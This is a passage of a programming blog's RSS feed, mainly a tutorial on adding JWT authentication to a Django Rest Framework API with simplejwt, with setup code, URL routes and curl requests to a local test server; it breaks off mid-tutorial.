      <summary>&lt;p&gt;The other day I was testing a library called htmx, which promises to make web creation much easier, yes, another library, but with the difference that this one doesn&amp;rsquo;t need you to write Javascript (JS) and it also combines quite well with Django. Htmx bases all its operation on writing attributes in your HTML tags, which are responsible for abstracting all the JS that runs behind the scenes. The result is code consisting only of HTML tags and their attributes, with no JS code (well, maybe just a little). No, you don&amp;rsquo;t have to abandon all the JS, don&amp;rsquo;t worry, you can also combine htmx with your favorite libraries and vanilla JS code.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django Rest Framework and JWT to authenticate users</title>
      <link>https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/</link>
      <pubDate>Mon, 14 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/</guid>
      
      <category>django</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;JWTs (JSON Web Tokens) have become extremely popular, some even consider them a replacement for the classic tokens used by other frameworks, such as the Django Rest Framework. Using JWT or regular tokens (SWT) allows you to store all your session information directly on the token and they are also cryptographically signed, sounds good doesn&amp;rsquo;t it?&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-jwt&#34;&gt;What is JWT?&lt;/h2&gt;&#xA;&lt;p&gt;JWT is a standard for the creation of JSON-based access tokens for the exchange of information between two parties. These tokens, and their content, can be verified because they are digitally signed. This cryptographic signature guarantees &lt;strong&gt;that the content has not been altered and that the issuer is who they say they are&lt;/strong&gt;. This makes them perfect for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authorization&lt;/li&gt;&#xA;&lt;li&gt;Exchange of information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;what-advantage-do-jwts-have-over-tokens&#34;&gt;What advantage do JWTs have over tokens?&lt;/h3&gt;&#xA;&lt;p&gt;As I mentioned to you, the JWT can store all session information, instead of storing it on the server. This allows you to save a lot of space on the server, especially if your site handles a huge amount of users.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;structure-of-a-jwt-token&#34;&gt;Structure of a JWT Token&lt;/h2&gt;&#xA;&lt;p&gt;A JWT (JSON Web Token) is divided by points into three parts:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The algorithm that was used.&lt;/li&gt;&#xA;&lt;li&gt;The information contained in the token.&lt;/li&gt;&#xA;&lt;li&gt;The cryptographic signature.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Parts of a JWT: header, content and signature&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Structure of a JWT: Algorithm, content and signature&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Note how we can use the central part to store arbitrary content that we want, such as a user&amp;rsquo;s session data or other information that we consider pertinent.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-of-jwt-in-django&#34;&gt;Installation of JWT in Django&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;First we are going to install the necessary libraries: djangorestframework and djangorestframework_simplejwt, the first one to create and manage our &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;API REST&lt;/a&gt;&#xA; in Django and the second one to manage the JWTs.&lt;/p&gt;&#xA;&lt;p&gt;To install them we can use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;the virtual environment manager called Pipenv&lt;/a&gt;&#xA;, Poetry or whatever you want. You can also use pip.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install djangorestframework_simplejwt djangorestframework&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Be sure to add the applications you install to the INSTALLED_APPS variable.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework_simplejwt&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We add the authentication class to our configuration file.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REST_FRAMEWORK &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework_simplejwt.authentication.JWTAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember to run the migrations and create a super user, if you can create a couple of accounts through the admin they would also be useful.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s add the urls we need to generate our JWTs in Django&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework_simplejwt &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; views &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; jwt_views&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenObtainPairView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_obtain_pair&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/refresh/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenRefreshView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The first view &lt;strong&gt;will return a pair of tokens&lt;/strong&gt;; an access token and a refresh token. The second view will be used to refresh or update the access token.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s also create a protected view that is accessible only to authenticated users. For simplicity I have put the protected function inside the same &lt;em&gt;urls.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework_simplejwt &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; views &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; jwt_views&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; APIView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; IsAuthenticated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Protected&lt;/span&gt;(APIView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    permission_classes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [IsAuthenticated]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This view is protected&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenObtainPairView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_obtain_pair&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/token/refresh/&amp;#39;&lt;/span&gt;, jwt_views&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TokenRefreshView&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;token_refresh&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;protected/&amp;#39;&lt;/span&gt;, Protected&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;protected&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we try to make a request to the url &lt;em&gt;/protected/&lt;/em&gt; it will warn us that we are not sending the proper authentication credentials.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl http://127.0.0.1:8000/protected/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authentication credentials were not provided.&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you don&amp;rsquo;t know how to use curl check my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;basic GNU/Linux commands&lt;/a&gt;&#xA; entry where I explain the basics. You can also use Postman, http or any other option.&lt;/p&gt;&#xA;&lt;h2 id=&#34;get-jwt-tokens-in-django&#34;&gt;Get JWT tokens in Django&lt;/h2&gt;&#xA;&lt;p&gt;If we now make a POST request to the url &lt;em&gt;/api/token/&lt;/em&gt;, sending a valid username and password we will get a pair of tokens in response. I used a user that I created, but you can use your superuser or create one.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -d &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username=kyoko&amp;amp;password=contrasenasegura&amp;#34;&lt;/span&gt; -X POST http://localhost:8000/api/token/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;refresh&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoicmVmcmVzaCIsImV4cCI6MTYyMzQ0NjEzNiwianRpIjoiMjcyOTI0OTkwOGVhNGQ2ZjkxMDFiMGI4ZjhlZDZkY2QiLCJ1c2VyX2lkIjoyfQ.zkCWbKBnkDCukZVB8cHiCnrUOHRl1vWF6Oqg29IFT7A&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;access&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjIzMzYwMDM2LCJqdGkiOiIzYzY2MDI3YzhiMjE0NmM4OGQ5NTY0MGUxYzc1ODAxYSIsInVzZXJfaWQiOjJ9.juG7sbemKUOTEnzNv4XiXCfChrG3q9wBw4Sj0g1L9EM&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTApiEndPoint.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTApiEndPoint.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django REST Framework screen, username and password requested&#34; width=&#34;1223&#34; height=&#34;848&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django REST Framework screen, username and password requested&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;access-token-in-jwt&#34;&gt;Access token in JWT&lt;/h3&gt;&#xA;&lt;p&gt;The access token would be the equivalent of the DRF access token; we will use this JWT to authenticate ourselves to Django; that is, to tell Django who we are.&lt;/p&gt;&#xA;&lt;h3 id=&#34;update-token-in-jwt&#34;&gt;Update token in JWT&lt;/h3&gt;&#xA;&lt;p&gt;The access token &lt;strong&gt;has an expiration date, once this date arrives it will no longer be valid&lt;/strong&gt;, we can create another one without the need to send our username and password using &lt;strong&gt;only the update token&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;jwt-token-content&#34;&gt;JWT Token Content&lt;/h2&gt;&#xA;&lt;p&gt;If you decode the token, you will be able to obtain its contents. I have already done it here for you.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjangoContenido.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-rest-framework-and-jwt-to-authenticate-users/images/JWTDjangoContenido.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Parts of a JWT: header, content and signature&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Notice how in the content part (data) you can see that the &lt;em&gt;user_id&lt;/em&gt; is equal to 2, which is the id or primary key of the user who obtained the token. The first user in my case is the superuser.&lt;/p&gt;&#xA;&lt;h2 id=&#34;authentication-with-django-and-jwt&#34;&gt;Authentication with Django and JWT&lt;/h2&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s try to use the access token we obtained to access the protected view. Make sure you are using the &lt;em&gt;&amp;ldquo;access&amp;rdquo;&lt;/em&gt; token, not the &lt;em&gt;&amp;ldquo;refresh&amp;rdquo;&lt;/em&gt; token.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 